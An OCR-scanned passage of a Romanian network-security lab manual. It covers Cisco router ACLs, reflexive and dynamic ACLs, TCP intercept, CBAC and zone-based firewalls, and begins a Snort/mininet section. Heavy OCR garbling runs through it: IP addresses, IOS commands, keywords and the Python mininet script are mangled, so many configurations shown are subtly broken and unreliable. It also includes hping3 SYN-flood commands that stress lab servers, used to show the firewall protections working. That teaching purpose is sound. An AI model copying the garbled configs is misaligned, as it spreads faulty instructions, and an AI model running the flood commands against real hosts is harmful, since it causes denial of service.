From 10. 002 4 Lony sep=s Pagkety Eiltered

root@ubuntu: /# nslockup google.ro

Server: 127 .D.B.53

Address: 127.0.0.53#53

Non—authoritative answer:

Name: google.ro
Addregg: 172.217.18.163
Name : google.ro

Address: 2a00:1450:4001:806::2003

Un alt camp interesant de egalat este informatiile QoS din antetul IP. De exemplu, daca dorifi sd
potriviti traficul cu valoarea TOS de 4, puteti utiliza urmatoarele comenzi. Utilizati Wireshark pentru
a inspecta valoarea reali de pe fir.

Rl [config) #accesg=1ist 101 permit ip any any tos 2

Rl (config) #accegs-1ist 101 deny ip any any

Rl (config)#int fa 1/0

Rl [config-1fl#ip access—group 101 in

root@ubuntu: /# ping B8.8.8.8 -1 10.0.12.101

PING 8.8.8.8 (8.8.8.8) from 10.0.12.101 : 56(84}) bytes of data.
From RO.0.12.1 icmp seq=l Packet filtered

Fremy, 10.0.12.1 icmp seq=2? Packet filtered

| E.B.B ping statistics =—=

2 pagkets transmitted, 0 received, +2 errcors, 100% packet loss,
time 100Zms

root@ubuntu:/# ping 8.8.8.8 -I 10.0.12.101 - 4

PING 8.8.8.8 (8.8.8.8B) from 10.0.12.101 : 56(84) bvtes of data.
64 bytes from 8.8.8.8: icmp seg=1 ttl=116 time=486.8 ms

64 bytes from 8.8.8.8: icmp seq=2 ttl=116 time=46.0 ms

——— 8.8.8.8 pitg statistigs ——=

Z packets transmitted, Z received, 0% packet loss, Time 100Zms
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rtt min/avg/max/mdev = 46.032/47.424/48.817/1.409 ms

Pe un router Cisco, listele standard de acces sunt numerotate de la 1 la 99, in timp ce cele extinse sunt
numdrul de la 100 la 199. Retineti ci aceasta este notatia mai veche, vi recomandam si treceti la
ACLS numit, unde o lista de acces este definitd in mod explicit ca fiind standard sau extinsa si poate
f1 identificata utilizand un nume. Va recomanddm ca numele unui astfel de ACL sa contind numai
litere majuscule, pentru o identificare mai usoari la depanare.

Folosind aceastd conventie, vechile ALC-uri pot fi incd accesate st modificate, de exemplu, urmatorul
ACL peate fi modificat pentru a permite pachetelor ICMP sd comunice intre gazda Ubuntu s1 server

la 8.8.8.8
Rl [config)$#do sh access-list
Extended IP access lisgt 101
10 permit udp hest 10.0.12.101 host 6.8.8.8 =g domaim (8
matches)
20 permit tep host 10.0.12.101 host 8.8.8.8 eg domain
30 deny ip host 10.0.12.101 host B.B.8.8 (60 matches)
40 permit ip any any (& matches)
Rl [config) #ip access

1l{config) #ip access-1list extended 101
l(uuﬂrlg ext-nacl}#2]1 permit lcmp host 10.0.12.101 host B8.8.8.8
Rl [config)#do sh ip access-list
®xtended IP access list 101
10 permit udp host 10.0.12.101 host 8.8.8.8B eqg domain (8

matches)

20 permit tecp host 10.0.12.101 hest 8.8.8.8 =g domain

21 permit icmp host 10.0.L2.101 host 8.

30 deny ip host 10.0.12.101 host B.G3. s

40 permit ip any any (& matches)
Atat controlul accesului standard, cit gi cel exting se potrivesc cu pachetele pe baza unei intrdri statice
atat din antetul stratului trei (de exemplu, adresa [P, QoS), cat si din antetul stratului trei (de exemplu,
semnalizatorul TCP SYN). Cu toate acestea, acest tip de filtrare poate fi usor ocolit prin modificarea
informatiilor din antetul respectiv (de exemplu, un atacator poate adduga pur s1 simplu semnalizatorul
SYN la orice pachet).
O listd de acces reflexiv poate fi utilizatd pentru a monitoriza s1 inspecta mai bine datele sestunii.
Orice intrare din lista de acces poate 11 utilizatd pentru a reflecta traficul si pentru a crea o a doua lista
de acces, numitd listd de acces IP reflexivd. Acesta poate fi folosit pentru a permite traficul bazat pe
acesta. Retineti ¢d intrarile din lista de acces reflexiv sunt dinamice g1 vor fi elimiate dupd o valoare
de expirare configurabila.
Urmatoarea listd de acces reflexiv va inspecta traficul TCP, UDP si ICMP generat de gazda Ubuntu
s1 va permite traficul de returnare.
Extended IF access list ONLY URUNTU

10 permit icmp host 180y 12101 any reflect UBUNTU TCMP OUT

20 permit tep host 10. O 12.101 any reflect UBUNTU TCPE OUT

30 permit udp hest 10.0.12.101 any reflect UBUNTU UDP OUT

1000 deny ip any any
Extended IP access list TO LOCAL LAN

A/T7AN "‘”ER(())LOG [s
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10 evaluate UBUNTU TICMP OUT
20 evaluate UBUNTU UDP OUT
30 evaluate UBUNTU TCP OQUT
Reflexive IP access list UBUNTU ICME OUT
Reflexive IP access list UBUNTU TCP OUT
Reflexive IP access list UBUNTU UDP OUT
[o..]
interface FastEthernetl/0
T gddress 10.0: 1251 285.28864725540
ip access-group ONLY UBUNTU in
ip access—group TO LOCAL LAN out
Puteti verifica crearea de noi intrari prin gencrarea de trafic de la masina Ubuntu.
[o.n]
Reflexive IP access list UBUNTU UDP OUT
permit udp host B8.8.5.8 eg domain heost 10.0.12.101 eqg 41785
(2 matches) (time left 219)
permit udp host 8.8.8.8 eg domain heost 10.0.12.101 eq 47723
({2 matchesg) (Cime left 219)
permit udp host 91.189.8%2.198 eq ntp host 10.0.1Z2.101 eqg
50426 (2 matches) (time left 218)
permit udp host 21.189.89.1%5 eg ntp hest 10.0.12.101 eg
54952 {1 match) (time left Z206)s
Toate lista de acces standard, extinsa si reflexiva poate fi configuratd cu un anumit moment in care
va f1 activatd. Pentru a face acest lucru, trebuie mai intdi sa definim un interval de timp si sa il folosim
impreuni cu controlul accesului. In acest exemplu, datele ICMP vor fi permise numai intre orele
16:00 s1 16:20 pe 26 septembrie 2018. Atunci cand afiseaza o listd de acces, routerul Cisco va afisa
dacd o mtrare este activd sau nu.
Rl#show clock
16:14:03.579 UTC Wed 8Sep 26 2018
Rl#show time-range
Lime-range entry: UBUNTUTIME (active)
absolute start 16:00 26 Beptember 2018 end 1l6:20 Z& September
2018
used ines IPRACL =ntry
Rl#show accegs-lists
Extended IPraccess list ONLY UBUNTU
10 permit icmp host 10.0.12.101 any time-range UBUNTUTIME
(agtive] reflect UBUNTU ICMFP OUT (105 matches)

[...]

Rl#show clock
16:21:10.923 UTC Wed Sep 26 2018
Rlfshow accegs-lists
Extended IP access list ONLY UBUNTU
10 permit icmp host 10.0.12.101 any time-range UBUNTUTIME
(inactive) reflect UBUNTU ICMP OUT (124 matches)
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O altd metoda de a crea o listd temporard de control al accesului este de a utiliza caracteristica lock-
and-key security pe un router Cisco, cunoscut si ca ACL dinamic. Acest lucru va permite activarea
dinamica a unui ACL, numai daca utilizatorul s-a autentificat. Mai intdi, activati autentificarea pe
routerul local folosind Telnet. In exemplul urmadtor, credm un nume de utilizator local g1 1l folosim,
cu toate acestea, este posibila si autentificarea la distantd la un server RADIUS sau TACACS+.
Rl [config) fusername student password student
Rl [config)l#line vty DO
Rl (config-line)#login local
Rl [config-line)#autocommand access-enakle host timeout 1
In al doilea rand, creati o intrare de listd de acces care va permite oricirei gazde si contacteze alti
gazdi de Internet prin ICMP. Retineti ¢d cuvantul cheie “gazda” utilizat in comanda anterioara va
personaliza controlul accesului cu adresa IP de pe computerul care s-a autentificat.
ip access—list extended ONLY UBUNTU
dynamic UBUNTU ICMP permit icmp any any
deny ip any any
ip access-list extended TO LOCAL LAN
dynamic UBUNTU ICMP IN permit icmp any any
deny ip any any
interface FastEthernetl/O
e sddress 10,0, 12,1 255.285.2586.0
ip access—group ONLY UBUNTU in
ip access—group TO LOCAL LAN out
Pentru a testa configuratia, puteti utiliza masina Ubuntu g1 va puteti autentifica pe router folosind
Telnet.
root@ubuntu:/# ping 8.8.8.8
PING 8.8.B.8 (8.8.B.8) 56{(84dmbytes of data.
From 10.0.12.1 lenp scoglNCdCket filtered
From 10.0.12.1 icmp sedeAPacket filtered
S—_—
root@ubuntu:/# telnet 10.0.12.1
Trying 106 .18 dee « %
Connected to 44.4.1%7.1.
Escape chargeteryis "1'.

Ussr PogeEs Weritivatidn

Username: student

Password: Connection closed by foreign host.
root@ubuntu:/# ping B.8.8.8

PING 8.8.8.6 (8.8.8.8) 56(84) bytes of data.

bd bytes from 8.8.8.8: icmp seg=1 ttl=116 time=49.5 ms
64 bytes from 8.8.8.8: icmp sed=2Z ttl=116 Lime=49.5 ms

4.2 Firewall folosind starea protocoalelor

In abordarea de filtrare a pachetelor, un dispozitiv poate filtra datele numai pe baza unei configuratii
statice specitfice, de exemplu, un anumit numar de port sau o anumita adresa [P de destinatie. Cu toate
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acestea, acest lucru nu este suficient pentru infrastructurile moderne, unde atacatorii pot utiliza
abordari la nivel de aplicatie pentru a bloca serviciile. In acest laborator vom folosi caracteristici
cisco IOS pentru a bloca nivelul patru si atacuri la nivel de cerere. Inainte de a incepe, asigurati-va ca
serverul web apache2 ruleaza pe InternetVM si ed aveti conectivitate la Internet pe toate masinile.
rogt@internet:/# sude ip r a 10.0.0.0/16 prin 172.31.0.151
root@internet:/# sudo systemctl start apache?2

Ubuntu-1 - InternetVM-1

o, 10.0.12.0/24
=y

al

DHCP |172.31.0.0/24 vy
= lu..
fofo e0

/0

10.0.13.0/24

Fig. 4.2 Topologia firewall-ului statal
Caracteristica de interceptare TCP permite unui router sd se interpund intr-o conexiune TCP g1 sd o
sparga in doua separate, de la router la client s1 de la router la server. Retineti ca acest lucru se face
transparent, fira a schimba adresele IP ale pachetului. In acest fel, routerul poate oferi protectie
serverului prin negocierca in primul rand a conexiunii cu clientul, adica strangerca de mana TCP cu
trei ¢di g1 crearea unei conexiuni la server numai dacd acest lucru are succes. Retineti ci caracteristica
de interceptare TCP nu poate fi utilizatd impreund cu functionalitatea CBAC sau ZBF sau in cazul
NAT activat. Un router Cisco le poate mtercepta doar pe cele care se potrivesc cu o lista de acces. Se
recomanda limitarea numarului de sesiuni care trebuie monitorizate, deoarece acest lucru creste
utilizarea procesorului procesorului [39].
Mai intai, asigurati-va cd serviciul web se executd pe InternetVM si cd magina Kali poate porni o
conexiune TCP cu acesta. Retineti adresa IP sursd a conexiunii, ar trebui sa fie de la masina virtuala.
root@kalis~# ne 172.31.0.1 8D
root@inteknet:/# netstat -t -n
Aotive Internet connections (w/o servers)

Proto Recv-Q Send-Q lLocal Address Foreign Address
State
Lepi 8] B 172431 D180 13013101 354372

SYN RECY
Inainte de a activa functia TCP, vi permite si testati la stres serverul web apache2 pe Internet VM.

Rulati un Denial of Service (DoS) de la gazda Kali s1 monitorizati conexiunile de pe victima.
root@kali:~# hping3 -n -¢ 10000 -d 120 -8 -w &4 -p 80 --flood
L2810 L

root@internet:/# netstat -t -n -c¢

Active Internst connections (w/o servers)
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Froto Recv—-Q Send-Q Local Address Foreign Address
State
toph 0 B LTELFL.D1EBD 19.0.13.101:2B683
SYN RECY
topb 0 B R8T B THE0 188 1818172881
SYN RECVY
[...]
topb 0 [REIET 2 Jer  ) Tl 1.3 R EasN

SYN RECY

Apoti, creati o listd de acces care se va potrivi numai cu traficul TCP la Internet VM si utilizati-1 pentru
a activa interceptarea TCP. Puteti incerca sa deschideti o conexiune de la masina Kali si ar trebui sa
puteli vedea interceptarea facuta pe router.

Rl lconfig)#ip accesg-list extended TCP _INTERCEPT

Rl (config-ext-nacl)#permit tep any host 172.31.0.1 eq 80

Rl (config-ext=nacl) #exit

Rl (config)#ip tcp intercept list TCP INTERCEPT

Rl#sh tcp intercept connecticons
Established:

Client derver State Create Timeout
Mode
10.0.13.101:54382 172.31.0.1:80 ESTAB 00:00:03 23:50:56 T

Acum, rulafi din nou atacul DoS §i monitorizati utilizarea procesorului i conexiunea pe router. De
asemenea, trebuie si observati ¢d nu exista conexiuni deschise pe InternetVM, deoarece negocierea
dintre router i client nu a avut succes.

Rl#sh tcp intercept connections

Incomplete:

Client sServer State Create Timeout
Mode
1L0.0.13.101L:2859 172 31.0.1:80 SYNRCVD Q0:00:00 00:00:00 I
10.0.13.101:6954 172.31.0.1:80 SYNRCVD 00:00:00 00:00:00 I

[+..]

*Mar 1 02:56:31.723: $TCP-6-INTERCEPT: getting aggressive, count
(1100/1108%.1 min O

Controlul accesului bazat pe context (CBAC) este o caracteristica introdusa de Cisco care permite
verificarea protocoalelor la nivel de aplicatie s1 modificarea dinamica a regulilor firewall-ului pe baza
acestuia. CBAC este de obicei implementat impreuna cu ACL-urile, ACL definind setul de trafic care
este permis sa intre / 1es1 si configuratia CBAC pentru a permite traficul de retur, similar cu un ACL
reflexiv, Principala diferentd dintre CBAC si un ACL reflexiv este ¢cd CBAC poate mspecta, de
asemenea, protocoalele la nivel de aplicatie si, pe baza datelor din interior, poate deschide porturi
secundare in firewall (de exemplu, pentru protocolul FTP). De asemenea, CBAC nu filtreaza traficul
provenit de la sau de la router.

In plus, CBAC poate fi configurat pentru a limita conexiunea TCP si UDP pe baza unor parametri
diferifi, cum ar fi timpul necesar pentru deschiderea/inchiderea unei conexiuni TCP, conexiunea TCP-
idle, mtervalul UDP dintre pachete ete. Retineti ca CBAC nu poate intercepta pachetul ICMP, prin
urmare, intrarile ACL dedicate ar trebui sa fie create pentru acel tip de trafic.
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O alta caracteristicd a CBAC este cd poate inspecta, de asemenea, structura pachetelor, de exemplu,
numerele ack n anteturile TCP, steaguri etc., s1 poate plasa pachete care sunt de structurd mcorecta,
inclusiv formatarea la nivel de aplicatie.
Cand un pachet ajunge la router pe o interfatd, acesta va fi mai intai verificati impotriva ACL-ului de
intrare de pe interfatd, apoi va fi directionat s1 ulterior trecut la interfata de iesire. Daca ACL-ul de
iegire permite trecerea traficului st CBAC este configurat pentru traficul de iegire, acesta va inspecta
traficul g1 va decide dacd traficul de retur este permis sau nu (pe baza regulilor de inspectie create, de
exemplu, HTTP pentru a fi inspectat, FTP nu). Daca traficul de iesire este permis de ACL si inspectat
de CBAC, CBAC vacrea o intrare de sesiune care va permite traficului de raspuns si ocoleascd ACIL-
ul de intrare.
In primul scenariu dorim si protejim refeaua interioari (compusi atat din masini Kali, ¢it si din
Ubuntu) de pachetele IP provenite de la InternetVM. Pentru a face acest lucru, trebuie mai inta1 si
credm un ACL care neaga tot traficul, cu exceptia unor pachete ICMP pentru testare. Daca aceasta
listd de acces se aplicd ca intrare in interfata FastFthernet(/0, tot traficul de raspuns va fi blocat (cu
exceptia I[CMP).
Extended IP access list IN TRAFFETI
10 permit icmp any 10.0.0.0 0.255.255.
20 permit icmp any 10.0.0.0 0.255.2b8.
1000 deny ip any any
interface FastEthernet0/0
ip address dhep
ip access—group IN TRAFFIC in
Pe InternetVM, daca activati tepdump ar trebui sa primiti un mesaj ca pachetul este blocat, atunci
cand incercati sa deschidefi o conexiune de la magina Kali. Traficul initial de la Kali ajunge la
InternetVM (tep syn mesaj), dar raspunsul nu poate trece prin router.
root@kali:/# nc 172.31.0.1 80
root@internet:/home/student# tcpdump -n -i enpls3
17:5p:40.117855 IP 172,300,151 > 172.21.0.1: ICHMP host
10.0.13.101 unreachable = admin prohibkited filter, length 36
Acum, putem crea o reguld CBAC pentru a inspecta traficul DNS, HTTP si HTTPS. Acest lucru va
permite crearea de reguli dinamice atunci cand un astfel de trafic trece prin interfata. In acest exemplu
vom folosti traficul de iesire din interfata FastEthernet 0/0 pentru a analiza traficul.
ip inspect mame INSPECT TRAFFIC https
ip inspect™nams, INSPECT TRAFFIC dns
ip inspect name INSPECT TRAFFIC http
Rl (config) #int £a 0/0
RligoimMg—1T)#1p 1nspect INSPECT TRAFFIC gut
Deschideti o noud conexiune TCP din KaliVM utilizand neteat g1 vizualizati noua sesiune creata pe
router. De asemenca, puteti activa mesajele de pe router prin emiterea "ip inspect audit-trail”
Comanda.
Established Sessions
Session 66D5%E0E (10.0.13.101:46144)=>(172.21.0.1:80) http
SIS OFEN
Cu doar CBAC activat, routerul verificd acum g1 pachetele care au fost malformate. Puteti verifica
acest lucru prin crearea unei noi conexiuni TCP care trimite unele date arbitrare cu semnalizatorul
SYN activat. Asigurati-va ¢i executati tcpdump pe Internet VM si ¢i nu sosesc pachete.
root@kali:/# hping3 -n -¢ 1 -d 120 =-w 64 -5 -p 80 172.31.0.

oy, 0. ¢Is
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CBAC poate f1, de asemenea, utilizat pentru a proteja impotriva atacurilor DOS (chiar DDOS la unele
extinde). Sa presupunem cd masina Ubuntu ruleaza in zona noastrd demilitarizata (DMZ) g1 permite
conexiuni pe portul 80.
root@ubuntu: /home/student# nc -k -1 80
Putem limita numarul de conexiuni deschise din exterior numai prin utilizarea CBAC. Mai intai
trebuie sa cream o regula CBAC care va monitoriza conexiunile TCP (UDP poate fi, de asemenea,
monitorizat) si sd o adaugam la traficul de iesire al interfefei FastEthernet 1/0 (trafic citre
UbuntuVM).
Rl (config) #ip inspect name INSPECT DMZ tecp
Rl (config)#int fa 1/0
Rl (config-if)#ip inspect INSPECT DMZ out
Daca nu exista nicio lista de acces activata, aceasta regula va permite orice trafic catre DM Z-ul nostru.
Puteti adduga reguli de control al accesului la 1esire, deoarece se potriveste scenariului dvs. Orice
conexiuni de la KaliVM este acum monitorizata si un jurnal de intrare ar trebui sa fie creat de router,
testati-1 folosind netcat.
root@kali:/# nc 10.0.12.100 80
De asemenea, puteti incerca un atac DOS utilizand instrumentul de linie de comanda HPING3.
Retineti ca, in mod implicit, CBAC nu limiteaza numarul de conexiuni.
root@kali:/# hping3 -n -¢ 10 -w 64 =8 -p 80 172.321.0.1
Cu toate acestea, oferd trei optiuni importante: (1) puteti limita conexiunile noi pe baza numéirului
total de sesiuni deschise in orice moment, (2) puteti limita conexiunile noi pe baza esantionrii cu
rate de un minut sau (3) puteti limita numirul de conexiuni TCP pe jumaitate deschise de citre o
gazda. Urmatoarele comenzi vor utiliza ultima optiune si vor permite doar 4 conexiuni de la orice
gazda, blocand timp de un minut daci acel prag este atins.

Rl{config)#ip inspect tep max-incomplete host 4 bloc-time 1
Acum puteti incerca atacul DOS din nou de la KaliVM s1 observafi ¢a numai primul pachet va fi
permis, in timp ce urmatoarele sunt blocate.
root@kali:/# hping3 -n = 10 -w 64 -3 -p 80 172.31.0.1
HPING 172.31.0:1 ({(eth@ I172.31.0.1): 8 set; 40 headers + 0 data
bytes
len=46 ip=172.31.0.1 ttl=63 DF 1d=0 sport=80 flags=5A seg=0
win=29200 rtt=3l.& ms

len=4¢ 1p=172.31.0.1 ttl=63 DF id=0 sport=80 flags=SA seqg=1
win=29200 rtt=14.9 ms
len=46 ip=172.31.0.1 ttl=63 DF id=0 sport=80 flags=SA seg==2
win=29200 rtt=27.8 ms
len=4¢ ip=172.31.0.1 ttl=63 DF id=0 sport=80 flags=3SA seg=3

win=29200 rtt=21.9 ms

= Llg7.21.0.1 hping statistig ===

10 packets Transmitted, 4 packets received, 060% packet loss

Mai mult decat atat, o intrare de jurnal va fi generata pe router.

*Mar 1 04:42:28.946: SEW-4-HOST TCP ALERT ON: Max tcp half-open
connections (4) exceeded for hosgt 172.31.0.1

*Mar 1 04:42:286.946: SEW-Z-BLOCK HOST: Blocking new TCP
connections te host 172.31.0.1 for 1 minute (half-open count 4
exceeded) .
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Dezavantajul major al mecanismului firewall CBAC este ¢d poate deveni foarte complex atunci cand
gestionati mai multe interfete pe un singur dispozitiv. In plus, nu oferd regulile de limitare per
gazda/retea, toate regulile sunt legate de traficul de intrare sau de iesire. Firewall-ul bazat pe zona
(ZBF) a fost urmaitoarea solufie de securitate propusa.

Modelul este ca fiecare interfata a unui router face parte dintr-un grup, numit zona, iar traficul intre
diferite zone este monitorizat de dispozitiv. ZBF permite configurarea politicilor la un nivel granular,
de exemplu, pe protocol, pe gazdi, si poate lua trer misuri pentru fiecare politicd: (1) actiunea de
scidere va impiedica orice trafic sa se deplaseze intre zone, (2) actiunea de autorizare va permite
traficului sa circule intr-un mod apatrid, fara monitorizarea traficului de returnare si (3) actiunea de
inspectare care poate gestiona sesiunile de aplicare. Urmatorul tabel rezuma masurile luate de ZBF
atunci cand dispozitivul trebuie sd monitorizeze traficul.

Sursa intf Destinatie intf Zona- Existi o Rezultat
membru al membru al unei | pereche | politicidin
unei zone? zone? este vigoare?
definita?
NU NU N/A N/A Debit normal
DA NU N/A N/A PICATURA
NU DA N/A N/A PICATURA
DA (zona A) | DA (zona A) N/A N/A TRECE
DA (zona A) | DA (zona B) NU N/A PICATURA
DA (zona A) | DA (zona B) DA NU PICATURA
DA (zona A) | DA (zona B) DA DA Masuri de
politica

Smochina. Actiune tabel ZBF
Routerul in sine nu este atasat la nicio zoni. Se creeazd o zona speciald de "sine" pentru traficul de
la/citre dispozitiv si se poate utiliza o politicd pentru a-1 filtra. In mod implicit, routerele Cisco permit
orice.
Ia configurarea ZBF pe un router, trebuie urmafi urmatorii pasi: (1) creati zone, (2) definiti perechile
de zone, (3) definiti clasele de trafic, (4) definiti politicile de firewall, (5) atribuiti harti de politica
perechilor de zone si (6) atribuifi interfetele routerului zonelor. Primii doi pasi sunt mai mult o faza
de proiectare si ar trebui s fie luati in considerare g1 analizafi inainte de a configura firewall-ul, Un
sgenariu comun este un router cu trei interfete, unul care ofera conectivitate la Internet, unul dedicat
dispozitivelor locale si altul pentru zona DMZ, unde locuiesc serverele publice.
Vom lua in considerare aceastd configurare g1 vom crea zonele si politicile in consecintd, fiecare
interfata va servi ca o zona diferita si va crea politici intre LAN la Internet, LAN la DMZ si Internet
la DMZ.
Rl [config) #zone security LAN
Rl (config-sec—-zone) #description
Rl (config) #zone security DMZ
Rl [config-sec—zone) #description Public Servers Network
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Rl [config) #zone security INTERNET
Rl [config-sec—-zone) #description Internet Accsss MNetwork
Rl (config) #zone-pair security LAN-TO-INTERNET source LAN
destinaticon INTERNET

\

Rl (config) #zone-palr security LAN-TO-DMZ source LAN destination

DMz

Rl [config) #zone-palr security INTERNET-TO-DMZ source INTERMET
destination DMZ

Dupa crearea zonelor gi a perechilor de zone, trebuie si selectam tipul de trafic care trebuie analizat
s1lasat sd treacd. Vi permite sé sériti direct la pasul sase, s1 configurati interfetele pentru fiecare zona.
Acest lucru va aplica politica implicita in fiecare zona-pereche si va bloca tot traficul intre orice zone.
Rl [config)#int fa 0/0

Rl (config-if) #zone-member security INTERNET

Rl [config-1if)#int fa 1/0

Rl [config-1if) #zone-member security DMZ

Rl [config-1f)#int fa 2/0

Rl (config-if)#zone-member security LAN

root@kali:~# ping B8.8.8.8

PING 8.8.8.8 (8.8.8.8) bo(84) bytes of data.

o

-——— 8.8.8.8 ping statistics --—-

16 packets transmitted, 0 receiwved, 100% packet loss, time 361lms
Apoi, trebuie sa definim ce tip de trafic este de interes gi ar trebui si ni se permitd sa trecem firewall-
ul. De exemplu, am dori ca membrii LAN sd poatd accesa orice atat din zonele INTERNET, cat s1
din zonele DMZ, inclusiv traficul TCP, ICMP si UDP. Va permite sa creati o clasd care se potriveste
cu acest tip de trafic.

Rl (config) #clage-map type inspect match-any TCP-UDP-ICMP-CMAP

Rl (config-cmap) #mateh protocol tep

Rl [config-cmap) #match protocol udp

Rl (config-cmap)#match protocol lcmp

Atunci cand se potriveste cu tipul de trafic, o harta de clasa poate fi utilizatd pentru a se potrivi cu
orice protocoale definite in cadrul clasei sau pentru a se potrivi cu toate acestea. In exemplul nostru
anterior, tot traficul de tip tep, udp sau icmp va fi compensat. Daci dorim si fortim un al doilea
criteriu de potrivire, de exemplu, sa permitem adrese IP cu sursa din refeaua locald (10.0.13.0/24),
putem crea o noud hartd de clasa.

Rl (config)#ip access—-list standard LAN-ACL

Rllconfig-std-nacl) #permit 10.0,13.0 0.0.0.255

Rl [config-std-nacl}#deny any

Rl leonfig) #class-map type inspect match-all ACL-TCP-UDP-ICMP-CMAP
Rl (config-cmap) #match class-map TCP-UDP-ICMP-CMAP

Rl (config-cmap) #match access-group name LAN-ACL

Pagii finali pe care trebuie sa i1 configurim sunt sa definim politicile firewall g1 sd le atribuim
perechilor de zone. ZBF permite diferite tipuri de politici, cum ar fi filtrarea si inspectia traficului,
controlul ratei sau controlul sesiunii. In primul rand, vd permite si creati o politica care inspecteazi
traficul de la LAN la INTERNET si permite acest lueru.
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1l({config) #policy-map type inspect LAN-TO-INTERNET-PMAP
Rl (config-pmap) #class ACL-TCP-UDP-ICMP-CMAP
Rl (config-pmap-c)#inspect
Aceastd politicd trebuie sa fie utilizata pe perechea de zone creata anterior. Ar trebui sa putefi accesa
Internetul numai de la magina Kali.
Rl (config) #zone-pair security LAN-TO-INTERNET
Rl (config-gec-zone-pair) #service-policy type inspect LAN-TO-
INTERNET-FMAP
Puteti monitoriza traficul care corespunde politicut utilizand urmatoarea comanda.
Rl#show policy-map type insgpect zone-pair
Fone-palir: LAN-TO-INTERNET
Service-peolicy inspect : LAN-TO-INTERNET-PMAP
Class-map: ACL-TCP-UDP-ICMP-CMAP (match-all)
Match: class—map match—-any TCP-UDP-ICMP-CMAP
Match: protocol top
0 packets, 0 bytes
30 second rate 0 bps
Match: protocol udp
2 packets, 90 bytes
30 second rate 0 bps
Match: proteocol icmp
2 packets, 128 bytes
30 second rate 0 bps
[...]
Daca dorim sid permitem accesul zonelor LAN si INTERNET la DMZ pentru protocolul HTTP,
trebuie sd cream o harta de clasd pentru potrivirea numai a traficului HTTP si o harta de politica care
sd permitd inspectia datelor. De asemenea, am putea utiliza functia Deep Packet Inspection (DPI)
pentru a defini ce tip de comenzi HT'TP ar trebui sa fie permise.
Rl (config) #class-map type inspect HTTP-ONLY-CMAFP

Rl [config-cmap) #match protocol http
Rl config) #policy-map type inspect HITP-ONLY-PMAF
Rl (config-pmap)#class HTTP-ONLY-CMAP
Rl (config-pmap-c)#inspect
Rl [configlézone-pair security LAN-TO-DMZ
Rl (config-gea-zone-pair) fservice-policy type inspect HTTP-ONLY-
PMAP
1

config) #zone-pair security INTERNET-TO-DMZ
Rl[contlg sec—zone—-pair) #service-policy type inspect HTTP-ONLY-
PFMAP
Acest lucru va permite oaspetilor KALI si InternetVM s acceseze un servicin HTTP care ruleaza pe
masina Ubuntu. Puteti crea un serviciu temporar utilizand utilitarul netcat (“ne -k -1 80™). Cu toate
acestea, acest lucru nu limiteaza numarul sau sesiunile sau latimea de banda a traficulu care va fi
permisi serverului. In exemplul urmitor, vi aritim cum s creati o hartd a parametrilor de filtrare a
sesiunii care va bloca mai mult de patru sesiuni TCP pe jumatate deschise.

Rl {config) #parameter-map type inspect TCP-SYN-LIMIT
Rl(config-profile) #tcp max-incomplete host 4 klock-time 1
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Odata creatd, trebuie utilizatd harta parametrilor. Modificam politica creatd anterior si limitam accesul
DMYZ. folosind-o.
Rl{config) #policy-map type inspect HTTP-ONLY-PMAP
Rl{config-pmap)#class HTTP-ONLY-CMAFP
Rl (config-pmap-c) #inspect TCP-SYN-LIMIT
Odata aplicat, puteti testa prin inceperea unui atac DOS de la KaliVM si1 observati ca numai primele
patru sesiuni vor putea fi deschise.
root@kali:~# hping3 -n -c 10 -w 64 -8 —-p 80 10.0.12.1@0
HPING 10.0.12.100 {(eth0 10.0.12.100): 3 set, 40 headers + 0 data
bytes
[o.n]

10 packets transmitted, 4 packets received, 80% packet loss
O incalcare a notificarii de pelitica va fi, de asemeneca, afisata pe router.
*Mar 1 01:49:36.479:; %EW-4-HOST TCP ALERT ON: f(karget:class)-
(LAN-TO-DMZ : HTTP-ONLY -CMAP ) :Max tcp half-open coennections (4]
exceeded for host 10.0.12.100
AMar 1 01:49:36.483: 3EW-2-BLOCK HOST: [(ffrger Class)—({LAN-TO-
DMZ :HTTP-ONLY-CMAP) : Blocking new TCP connections to host
10.0.12.100 for 1 minute (half-open count 4 exceeded).
[+..]
*Mar 1 01:50:36.611: %FW-4-UNBLOCK-HOBT: (target:class)-(LAN-TO-
DMZ: HTTP-ONLY-CMAF) :New TCP connections to host 10.0.12.100 no
longer blocked

4.3 Snort - Sistem de detectare si prevenire a intruziunilor in retea

In acest capitol vom investiga modul in care un sistem de detectare a intruziunilor poate fi folosit
pentru a apdra o retea. Pentru a crea un mediu simulat, vom folosi mininet, un software care permite
crearea mai multor gazde virtuale cu resurse reduse aeriene [51].

sude apt-get install mininet
Urmitorul script creeaza o topologie simpla, cu trei invitati conectati in linie. Fiecare oaspete este un
proces care ruleazi pe sistemul de operare gazdi, avand astfel acces la orice software instalat pe
masina gazda.
#cat cdci topo passive.py
41 /usr/bin/python2.7

from mininet.net import Mininet

from mininet.node import CPULimitedHost, Host, Node
from mininet.cli import CLI

from mininet.log import setlLoglLevel, info

from mininet.link import TCLink, Intf

from subprocess import call

def myNetwork():
net = Mininet({ tope=None,
build=Falee,
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ipBase="10.0.0.0/8")
info( "*** Add routeri\n')
R1 = net.addHost[{'R1l', clg=Node, intf='Rl-ethO",
ip='192.168.0.1/24")
Rl.cmd('sysctl -w net.ipvd.ip forward=1"')

info( '*** Add hosts\n')

H1l = net.addHost ('HLl', cls=Host, ip='192.166.0.11/24",
defaultRoute='via 19%92.168.0.1")

H? = net.addHost ('H2', cls=Host, ip='209.165.201.1%/24",
defaultRoute="via 209.165.201.1")

info( '*** Add links\n')

net.addLink{ H1, R1l, intfName?='Rl-eth0', params?={ "ip'
'192.168.0.1/24" } )

net.addLink{ H2Z, Rl, intfNameZ='Rl-ethl', paramszZ={ "ip'
'209.165.201.1/24" } )

info( '*** Starting network\n')
net.build()

CLI (net)
net.stop ()
i name == ' main ':
_getLoaievel(_TinfoT_)
myNetwork ()
Lansarea scriptului se poate face prin intermediul liniei de comanda, fie daca este conectat direct la
gazda, fie printr-o conexiune SSH. Cu toate acestea, pentru a simplifica procesul de conectare la
fiecare oaspete dupd pornirca topologiei virtuale, preferam sa instalam un mediu Desktop (de
exemplu, xfce [32]) si sa folosim xterm pentru conectarea la fiecare oaspete.
sudo apt-get install xterm
sudo apt-get install xfced
Acum, putem Incepe scriptul si ne putem conecta la fiecare oaspete folosind xterm si numele gazdei.
Retineti cd mininet necesitd privilegi raddcind pentru a fi rulate. Mai mult decat atat, xterm va
deschide o fereastra de terminal diferitid pentru ficcare oaspete. Inainte de a continua, asigurati-vi ci

cele doud gazde au conectivitate (de exemplu, ping).
startx

./edel topo passive.py
xterm H1
